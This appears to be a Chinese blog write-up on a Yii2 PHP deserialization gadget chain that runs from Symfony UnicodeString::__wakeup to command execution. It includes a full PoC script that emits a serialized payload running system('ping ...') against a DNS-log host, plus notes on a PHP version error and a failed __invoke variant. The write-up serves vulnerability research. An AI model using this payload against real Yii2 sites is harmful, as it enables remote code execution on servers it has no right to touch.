昨天早上上班前,我无意间看到其它师傅们挖的yii2利用链,其中有一个是我之前忽略了的,就想着赶紧分享给大家,但是昨天恰了个饭(文末有福利),发不了文章,只有今天发了
这是一条利用__wakeup
魔术方法作为入口的利用链,然后我就去看了看,有所收获,所以简单和大家分享一下
问题出在SymfonyComponentStringUnicodeString
,我们看下它的wakeup方法:
public function __wakeup()
{
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
这里调用了normalizer_is_normalized,我一开始没有想到这个函数也会把参数当做字符串处理,也就是说这里也可以利用__toString
进一步利用
结合前文,我们可以很轻松的构造一条利用链出来:
SymfonyComponentStringUnicodeString::__wakeup()->phpDocumentorReflectionDocBlockTagsSee::__toString()-> FakerGenerator::__call() -> yiirestIndexAction::run()
但是,当我用我生成的payload去测试的时候,直接报错了
我当时也没有去搜这个错误是啥意思,以为是normalizer_is_normalized内部还有其他机制,然后我就去找了一下其他的__toString
方法,但是都报这个错(其它利用链我会在后面提到)
后来去查了一下,原来是php版本问题,PREG_UNMATCHED_AS_NULL这个静态变量只在php7.2以上才有,而我用的是php7.1,所以升级一下,然后测试,结果
又报错了...如下
我去查了一下,这个应该是yii的视图报错了导致无法回显命令执行的结果,所以,我利用dnslog来验证命令是否执行,如下:
可以看到命令成功执行了
poc1:
代码语言:javascript复制<?php
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ping -c 4 123.xxx.tech';
}
}
}
namespace Faker{
use yiirestCreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentorReflectionDocBlockTags{
use FakerGenerator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace SymfonyComponentString{
use phpDocumentorReflectionDocBlockTagsSee;
class UnicodeString{
protected $string;
public function __construct()
{
$this->string = new See;
}
}
}
namespace{
use SymfonyComponentStringUnicodeString;
// 生成poc
echo base64_encode(serialize(new UnicodeString()));
}
?>
yii2真是一个练习反序列化连挖掘的好靶场,我们可以通过它来练习各种魔术方法在反序列化链构造中的使用
php所有的魔术方法如下:
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
这里我本打算再利用__invoke
构造一个,我的想法如下:
SymfonyComponentStringUnicodeString::__wakeup()->SymfonyComponentStringLazyString::__toString()-> Swift_StreamCollector::__invoke()->phpDocumentorReflectionDocBlockTagsSee::__toString()->FakerGenerator::__call() -> yiirestIndexAction::run()
你看到这个链可能觉得我这是脱裤子放屁,但是在前面那个链报错的情况下,我才想出了这么一个链,以为可以不报错
我们看下LazyString的toString方法:
代码语言:javascript复制public function __toString()
{
if (is_string($this->value)) {
return $this->value;
}
try {
return $this->value = ($this->value)();
} catch (Throwable $e) {
...
}
}
可以看到上面代码中有($this->value)()
,我一开始以为这里不就可以利用__invoke
进行利用吗,但是后来发现我天真了,这报错给我安排的明明白白
可以看到,($this->value)()
这种形式是利用不了__invoke
的
简单记录下这个错误,也算是给大家排个坑吧